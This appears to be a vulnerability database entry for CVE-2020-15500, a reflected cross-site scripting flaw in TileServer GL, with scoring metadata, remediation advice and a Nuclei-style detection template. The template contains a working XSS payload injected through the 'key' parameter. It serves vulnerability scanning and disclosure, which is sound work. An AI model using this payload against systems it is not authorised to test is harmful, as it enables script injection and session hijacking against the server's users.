SecurityContext

CVE-2020-15500: TileServer GL <=3.0.0 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.12224
  • Epss percentile: 0.96272
  • Cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: tileservergl
  • Vendor: tileserver

Products

ProductIndexedUrl
tileserver:tileserverglyes/v1/products/tileserver/tileservergl

Labels

  • Name: TileServer GL - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Sanitize and validate the 'GET' parameter in server.js, and update to the latest version of TileServer GL.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2020-15500

```yaml

id: CVE-2020-15500

info:

name: TileServer GL <=3.0.0 - Cross-Site Scripting

author: Akash.C

severity: medium

description: TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.

impact: |

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

remediation: |

Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.

reference:

- https://github.com/maptiler/tileserver-gl/issues/461

- http://packetstormsecurity.com/files/162193/Tileserver-gl-3.0.0-Cross-Site-Scripting.html

- https://nvd.nist.gov/vuln/detail/CVE-2020-15500

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2020-15500

cwe-id: CWE-79

epss-score: 0.12224

epss-percentile: 0.96272

cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: tileserver

product: tileservergl

tags: cve,cve2020,xss,tileserver,packetstorm,vuln

http:

- method: GET

path:

- '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

matchers-condition: and

matchers:

- type: word

part: header

words:

- "text/html"

- type: word

part: body

words:

- "'>\"<svg/onload=confirm('xss')>"

- type: status

status:

- 200

digest: 4b0a00483046022100e70555e556005d4c5864fc9b447bbfb61786a6f50e8ce4d8109965e5f6e5434a022100bdc2cf0f6fcf708272539e6eb35f1c03dc157a7832c4f4e11416bffd8afbc95d:922c64590222798bb761d5b6d8e72950

```